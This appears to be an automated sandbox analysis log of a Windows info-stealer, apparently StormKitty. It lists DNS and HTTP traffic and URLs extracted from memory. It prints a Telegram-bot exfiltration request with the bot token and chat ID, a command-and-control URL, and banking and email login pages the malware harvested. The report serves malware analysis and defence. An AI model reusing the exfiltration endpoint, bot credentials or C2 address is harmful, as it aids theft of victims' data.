Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: URL:https://www.facebook.com/login.php<br> equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: 246.229.1.0.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: icanhazip.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: api.mylnikov.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7033932802:AAGEIhL9e0lyUi0vjZnRy3PcwnKJPhSCFWQ/sendDocument?chat_id=1126217452 HTTP/1.1Content-Type: multipart/form-data; boundary="5e6f3de5-9dbc-42c8-978a-01d8ad9e017a"Host: api.telegram.orgContent-Length: 190055Expect: 100-continueConnection: Keep-Alive

Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416F09000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.113.162
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.113.162/XtfcshEgt/upwawsfrg.php
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416F09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199HB
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F7006E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: http://app.turboboy.co/users
Source: svchost.exe, 0000000C.00000002.3314009438.000001D9C3800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000000C.00000002.3314206322.000001D9C3861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/
Source: svchost.exe, 0000000C.00000002.3314206322.000001D9C3861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/127F
Source: svchost.exe, 0000000C.00000002.3314206322.000001D9C3861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/27F
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000000C.00000003.2767673728.000001D9C35A2000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.2940037617.000001D9C35A5000.00000004.00000800.00020000.00000000.sdmp, edb.log.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8.0/
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000000C.00000002.3314581590.000001D9C38C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3314884979.000001D9C3B80000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3314206322.000001D9C3861000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3313980569.000001D9C3700000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.3076563454.000001D9C35AA000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.2988605323.000001D9C35A6000.00000004.00000800.00020000.00000000.sdmp, edb.log.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/ads7ltfl2gw6hxwgakn3sxrkoijq_9.53.0/gcmjk
Source: svchost.exe, 0000000C.00000002.3312990158.000001D9BE902000.00000004.00000020.00020000.00000000.sdmp, edb.log.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/d77nxa2foiq2d2amj2swht2ehq_20250102.71269
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 0000000C.00000002.3314206322.000001D9C3896000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80
Source: svchost.exe, 0000000C.00000002.3314070384.000001D9C3842000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/release2/chrome_component/d77nxa2foiq2d2amj2swht2ehq_20250102.71
Source: svchost.exe, 0000000C.00000002.3314206322.000001D9C3896000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80IO:ID:
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: http://es.scribd.com/doc/181228937/Manual-de-Ayuda-Vectric-Aspire-3-5
Source: edb.log.12.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000002.00000002.2278255352.000001D128622000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2083625269.000001D1187D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2083625269.000001D1185B1000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416F09000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: http://softdepotsupport.com/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: http://softwaredepotdesk.com/
Source: powershell.exe, 00000002.00000002.2083625269.000001D1187D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: http://www.instructables.com/id/DIY-Chess-Board/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: http://www.woodsmithlibrary.com/login/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: http://www.woodsmithshop.com/account/login/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: http://www.woodsmithvideoedition.com/account/login/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: http://www.woodsmithvideotips.com/home
Source: sets.json.7.dr	String found in binary or memory: https://07c225f3.online
Source: sets.json.7.dr	String found in binary or memory: https://24.hu
Source: sets.json.7.dr	String found in binary or memory: https://aajtak.in
Source: sets.json.7.dr	String found in binary or memory: https://abczdrowie.pl
Source: tmp1201676045.exe, 00000004.00000002.2330412278.000001F7100CC000.00000004.00000800.00020000.00000000.sdmp, tmp57B1.tmp.dat.4.dr, tmp717B.tmp.dat.4.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://account.formula1.com/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://accounts.google.com/ServiceLoginAuth
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://accounts.google.com/signin/v2/sl/pwd
Source: powershell.exe, 00000002.00000002.2083625269.000001D1185B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: sets.json.7.dr	String found in binary or memory: https://alice.tw
Source: sets.json.7.dr	String found in binary or memory: https://ambitionbox.com
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F7006B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F7006B3000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F7006B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7033932802:AAGEIhL9e0lyUi0vjZnRy3PcwnKJPhSCFWQ/sendDocument?chat_id=1126
Source: sets.json.7.dr	String found in binary or memory: https://autobild.de
Source: sets.json.7.dr	String found in binary or memory: https://baomoi.com
Source: sets.json.7.dr	String found in binary or memory: https://bild.de
Source: sets.json.7.dr	String found in binary or memory: https://blackrock.com
Source: sets.json.7.dr	String found in binary or memory: https://blackrockadvisorelite.it
Source: sets.json.7.dr	String found in binary or memory: https://bluradio.com
Source: sets.json.7.dr	String found in binary or memory: https://bolasport.com
Source: sets.json.7.dr	String found in binary or memory: https://bonvivir.com
Source: sets.json.7.dr	String found in binary or memory: https://bumbox.com
Source: sets.json.7.dr	String found in binary or memory: https://businessinsider.com.pl
Source: sets.json.7.dr	String found in binary or memory: https://businesstoday.in
Source: sets.json.7.dr	String found in binary or memory: https://cachematrix.com
Source: sets.json.7.dr	String found in binary or memory: https://cafemedia.com
Source: sets.json.7.dr	String found in binary or memory: https://caracoltv.com
Source: sets.json.7.dr	String found in binary or memory: https://carcostadvisor.be
Source: sets.json.7.dr	String found in binary or memory: https://carcostadvisor.com
Source: sets.json.7.dr	String found in binary or memory: https://carcostadvisor.fr
Source: sets.json.7.dr	String found in binary or memory: https://cardsayings.net
Source: tmp1201676045.exe, 00000004.00000002.2330412278.000001F7100CC000.00000004.00000800.00020000.00000000.sdmp, tmp57B1.tmp.dat.4.dr, tmp717B.tmp.dat.4.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmp1201676045.exe, 00000004.00000002.2330412278.000001F7100CC000.00000004.00000800.00020000.00000000.sdmp, tmp57B1.tmp.dat.4.dr, tmp717B.tmp.dat.4.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmp1201676045.exe, 00000004.00000002.2330412278.000001F7100CC000.00000004.00000800.00020000.00000000.sdmp, tmp57B1.tmp.dat.4.dr, tmp717B.tmp.dat.4.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: sets.json.7.dr	String found in binary or memory: https://chatbot.com
Source: sets.json.7.dr	String found in binary or memory: https://chennien.com
Source: sets.json.7.dr	String found in binary or memory: https://citybibleforum.org
Source: sets.json.7.dr	String found in binary or memory: https://clarosports.com
Source: sets.json.7.dr	String found in binary or memory: https://clmbtech.com
Source: sets.json.7.dr	String found in binary or memory: https://closeronline.co.uk
Source: sets.json.7.dr	String found in binary or memory: https://clubelpais.com.uy
Source: sets.json.7.dr	String found in binary or memory: https://cmxd.com.mx
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://co.pinterest.com/
Source: sets.json.7.dr	String found in binary or memory: https://cognitive-ai.ru
Source: sets.json.7.dr	String found in binary or memory: https://cognitiveai.ru
Source: sets.json.7.dr	String found in binary or memory: https://commentcamarche.com
Source: sets.json.7.dr	String found in binary or memory: https://commentcamarche.net
Source: sets.json.7.dr	String found in binary or memory: https://computerbild.de
Source: sets.json.7.dr	String found in binary or memory: https://content-loader.com
Source: powershell.exe, 00000002.00000002.2278255352.000001D128622000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2278255352.000001D128622000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2278255352.000001D128622000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: sets.json.7.dr	String found in binary or memory: https://cookreactor.com
Source: LICENSE.txt.7.dr	String found in binary or memory: https://creativecommons.org/.
Source: LICENSE.txt.7.dr	String found in binary or memory: https://creativecommons.org/compatiblelicenses
Source: sets.json.7.dr	String found in binary or memory: https://cricbuzz.com
Source: sets.json.7.dr	String found in binary or memory: https://css-load.com
Source: sets.json.7.dr	String found in binary or memory: https://deccoria.pl
Source: sets.json.7.dr	String found in binary or memory: https://deere.com
Source: sets.json.7.dr	String found in binary or memory: https://desimartini.com
Source: sets.json.7.dr	String found in binary or memory: https://dewarmsteweek.be
Source: sets.json.7.dr	String found in binary or memory: https://drimer.io
Source: sets.json.7.dr	String found in binary or memory: https://drimer.travel
Source: tmp1201676045.exe, 00000004.00000002.2330412278.000001F7100CC000.00000004.00000800.00020000.00000000.sdmp, tmp57B1.tmp.dat.4.dr, tmp717B.tmp.dat.4.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmp1201676045.exe, 00000004.00000002.2330412278.000001F7100CC000.00000004.00000800.00020000.00000000.sdmp, tmp57B1.tmp.dat.4.dr, tmp717B.tmp.dat.4.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmp1201676045.exe, 00000004.00000002.2330412278.000001F7100CC000.00000004.00000800.00020000.00000000.sdmp, tmp57B1.tmp.dat.4.dr, tmp717B.tmp.dat.4.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: LICENSE.txt.7.dr	String found in binary or memory: https://easylist.to/)
Source: sets.json.7.dr	String found in binary or memory: https://economictimes.com
Source: sets.json.7.dr	String found in binary or memory: https://een.be
Source: sets.json.7.dr	String found in binary or memory: https://efront.com
Source: sets.json.7.dr	String found in binary or memory: https://eleconomista.net
Source: sets.json.7.dr	String found in binary or memory: https://elfinancierocr.com
Source: sets.json.7.dr	String found in binary or memory: https://elgrafico.com
Source: sets.json.7.dr	String found in binary or memory: https://ella.sv
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://elmejorperfume.com/checkout/
Source: sets.json.7.dr	String found in binary or memory: https://elpais.com.uy
Source: sets.json.7.dr	String found in binary or memory: https://elpais.uy
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://es.pinterest.com/pin/329325791483354616/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://es.scribd.com/doc/116279436/Tabla-Conversion-Completa
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://es.scribd.com/doc/181228937/Manual-de-Ayuda-Vectric-Aspire-3-5
Source: sets.json.7.dr	String found in binary or memory: https://etfacademy.it
Source: sets.json.7.dr	String found in binary or memory: https://eworkbookcloud.com
Source: sets.json.7.dr	String found in binary or memory: https://eworkbookrequest.com
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://facturanet.todo1.com/CO/login_CO.aspx
Source: sets.json.7.dr	String found in binary or memory: https://fakt.pl
Source: sets.json.7.dr	String found in binary or memory: https://finn.no
Source: sets.json.7.dr	String found in binary or memory: https://firstlook.biz
Source: edb.log.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 0000000C.00000003.2143835501.000001D9C35A0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: sets.json.7.dr	String found in binary or memory: https://gallito.com.uy
Source: sets.json.7.dr	String found in binary or memory: https://geforcenow.com
Source: sets.json.7.dr	String found in binary or memory: https://gettalkdesk.com
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/St
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 00000004.00000002.2361977743.000001F76B520000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: powershell.exe, 00000002.00000002.2083625269.000001D1187D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: LICENSE.txt.7.dr	String found in binary or memory: https://github.com/easylist)
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://github.com/join
Source: sets.json.7.dr	String found in binary or memory: https://gliadomain.com
Source: sets.json.7.dr	String found in binary or memory: https://gnttv.com
Source: sets.json.7.dr	String found in binary or memory: https://graziadaily.co.uk
Source: sets.json.7.dr	String found in binary or memory: https://grid.id
Source: sets.json.7.dr	String found in binary or memory: https://gridgames.app
Source: sets.json.7.dr	String found in binary or memory: https://growthrx.in
Source: sets.json.7.dr	String found in binary or memory: https://grupolpg.sv
Source: sets.json.7.dr	String found in binary or memory: https://gujaratijagran.com
Source: sets.json.7.dr	String found in binary or memory: https://hapara.com
Source: sets.json.7.dr	String found in binary or memory: https://hazipatika.com
Source: sets.json.7.dr	String found in binary or memory: https://hc1.com
Source: sets.json.7.dr	String found in binary or memory: https://hc1.global
Source: sets.json.7.dr	String found in binary or memory: https://hc1cas.com
Source: sets.json.7.dr	String found in binary or memory: https://hc1cas.global
Source: sets.json.7.dr	String found in binary or memory: https://healthshots.com
Source: sets.json.7.dr	String found in binary or memory: https://hearty.app
Source: sets.json.7.dr	String found in binary or memory: https://hearty.gift
Source: sets.json.7.dr	String found in binary or memory: https://hearty.me
Source: sets.json.7.dr	String found in binary or memory: https://heartymail.com
Source: sets.json.7.dr	String found in binary or memory: https://heatworld.com
Source: sets.json.7.dr	String found in binary or memory: https://helpdesk.com
Source: sets.json.7.dr	String found in binary or memory: https://hindustantimes.com
Source: sets.json.7.dr	String found in binary or memory: https://hj.rs
Source: sets.json.7.dr	String found in binary or memory: https://hjck.com
Source: sets.json.7.dr	String found in binary or memory: https://html-load.cc
Source: sets.json.7.dr	String found in binary or memory: https://html-load.com
Source: sets.json.7.dr	String found in binary or memory: https://human-talk.org
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://id.tigo.com/openid/login/signup_form
Source: sets.json.7.dr	String found in binary or memory: https://idbs-cloud.com
Source: sets.json.7.dr	String found in binary or memory: https://idbs-dev.com
Source: sets.json.7.dr	String found in binary or memory: https://idbs-eworkbook.com
Source: sets.json.7.dr	String found in binary or memory: https://idbs-staging.com
Source: sets.json.7.dr	String found in binary or memory: https://img-load.com
Source: sets.json.7.dr	String found in binary or memory: https://indiatimes.com
Source: sets.json.7.dr	String found in binary or memory: https://indiatoday.in
Source: sets.json.7.dr	String found in binary or memory: https://indiatodayne.in
Source: sets.json.7.dr	String found in binary or memory: https://infoedgeindia.com
Source: sets.json.7.dr	String found in binary or memory: https://interia.pl
Source: sets.json.7.dr	String found in binary or memory: https://intoday.in
Source: sets.json.7.dr	String found in binary or memory: https://iolam.it
Source: sets.json.7.dr	String found in binary or memory: https://ishares.com
Source: sets.json.7.dr	String found in binary or memory: https://jagran.com
Source: sets.json.7.dr	String found in binary or memory: https://johndeere.com
Source: sets.json.7.dr	String found in binary or memory: https://journaldesfemmes.com
Source: sets.json.7.dr	String found in binary or memory: https://journaldesfemmes.fr
Source: sets.json.7.dr	String found in binary or memory: https://journaldunet.com
Source: sets.json.7.dr	String found in binary or memory: https://journaldunet.fr
Source: sets.json.7.dr	String found in binary or memory: https://joyreactor.cc
Source: sets.json.7.dr	String found in binary or memory: https://joyreactor.com
Source: sets.json.7.dr	String found in binary or memory: https://kaksya.in
Source: sets.json.7.dr	String found in binary or memory: https://knowledgebase.com
Source: sets.json.7.dr	String found in binary or memory: https://kompas.com
Source: sets.json.7.dr	String found in binary or memory: https://kompas.tv
Source: sets.json.7.dr	String found in binary or memory: https://kompasiana.com
Source: sets.json.7.dr	String found in binary or memory: https://lanacion.com.ar
Source: sets.json.7.dr	String found in binary or memory: https://landyrev.com
Source: sets.json.7.dr	String found in binary or memory: https://landyrev.ru
Source: sets.json.7.dr	String found in binary or memory: https://laprensagrafica.com
Source: sets.json.7.dr	String found in binary or memory: https://lateja.cr
Source: sets.json.7.dr	String found in binary or memory: https://libero.it
Source: sets.json.7.dr	String found in binary or memory: https://linternaute.com
Source: sets.json.7.dr	String found in binary or memory: https://linternaute.fr
Source: sets.json.7.dr	String found in binary or memory: https://livechat.com
Source: sets.json.7.dr	String found in binary or memory: https://livechatinc.com
Source: sets.json.7.dr	String found in binary or memory: https://livehindustan.com
Source: sets.json.7.dr	String found in binary or memory: https://livemint.com
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://login.live.com/login.srf
Source: sets.json.7.dr	String found in binary or memory: https://max.auto
Source: sets.json.7.dr	String found in binary or memory: https://medonet.pl
Source: sets.json.7.dr	String found in binary or memory: https://meo.pt
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.cl
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.co.cr
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.ar
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.bo
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.co
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.do
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.ec
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.gt
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.hn
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.mx
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.ni
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.pa
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.pe
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.py
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.sv
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.uy
Source: sets.json.7.dr	String found in binary or memory: https://mercadolibre.com.ve
Source: sets.json.7.dr	String found in binary or memory: https://mercadolivre.com
Source: sets.json.7.dr	String found in binary or memory: https://mercadolivre.com.br
Source: sets.json.7.dr	String found in binary or memory: https://mercadopago.cl
Source: sets.json.7.dr	String found in binary or memory: https://mercadopago.com
Source: sets.json.7.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.7.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.7.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.7.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.7.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.7.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.7.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.7.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.7.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.7.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.7.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.7.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.7.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.7.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://micorreo.telmex.com/
Source: sets.json.7.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.7.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.7.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.7.dr	String found in binary or memory: https://money.pl
Source: sets.json.7.dr	String found in binary or memory: https://motherandbaby.com
Source: sets.json.7.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.7.dr	String found in binary or memory: https://nacion.com
Source: sets.json.7.dr	String found in binary or memory: https://naukri.com
Source: sets.json.7.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.7.dr	String found in binary or memory: https://nien.co
Source: sets.json.7.dr	String found in binary or memory: https://nien.com
Source: sets.json.7.dr	String found in binary or memory: https://nien.org
Source: sets.json.7.dr	String found in binary or memory: https://nlc.hu
Source: sets.json.7.dr	String found in binary or memory: https://nosalty.hu
Source: sets.json.7.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.7.dr	String found in binary or memory: https://nourishingpursuits.com
Source: powershell.exe, 00000002.00000002.2278255352.000001D128622000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: sets.json.7.dr	String found in binary or memory: https://nvidia.com
Source: sets.json.7.dr	String found in binary or memory: https://o2.pl
Source: sets.json.7.dr	String found in binary or memory: https://ocdn.eu
Source: qmgr.db.12.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: sets.json.7.dr	String found in binary or memory: https://onet.pl
Source: sets.json.7.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.7.dr	String found in binary or memory: https://p106.net
Source: sets.json.7.dr	String found in binary or memory: https://p24.hu
Source: sets.json.7.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.7.dr	String found in binary or memory: https://pdmp-apis.no
Source: sets.json.7.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.7.dr	String found in binary or memory: https://player.pl
Source: sets.json.7.dr	String found in binary or memory: https://plejada.pl
Source: sets.json.7.dr	String found in binary or memory: https://poalim.site
Source: sets.json.7.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.7.dr	String found in binary or memory: https://pomponik.pl
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://portal.vectric.com/register/9W7jITU6QgSBfrIhb_0UOw
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://portal.vectric.com/registerNew
Source: sets.json.7.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.7.dr	String found in binary or memory: https://prisjakt.no
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://pse.todo1.com/PseBancolombia/control/ElectronicPayment.bancolombia
Source: sets.json.7.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.7.dr	String found in binary or memory: https://punjabijagran.com
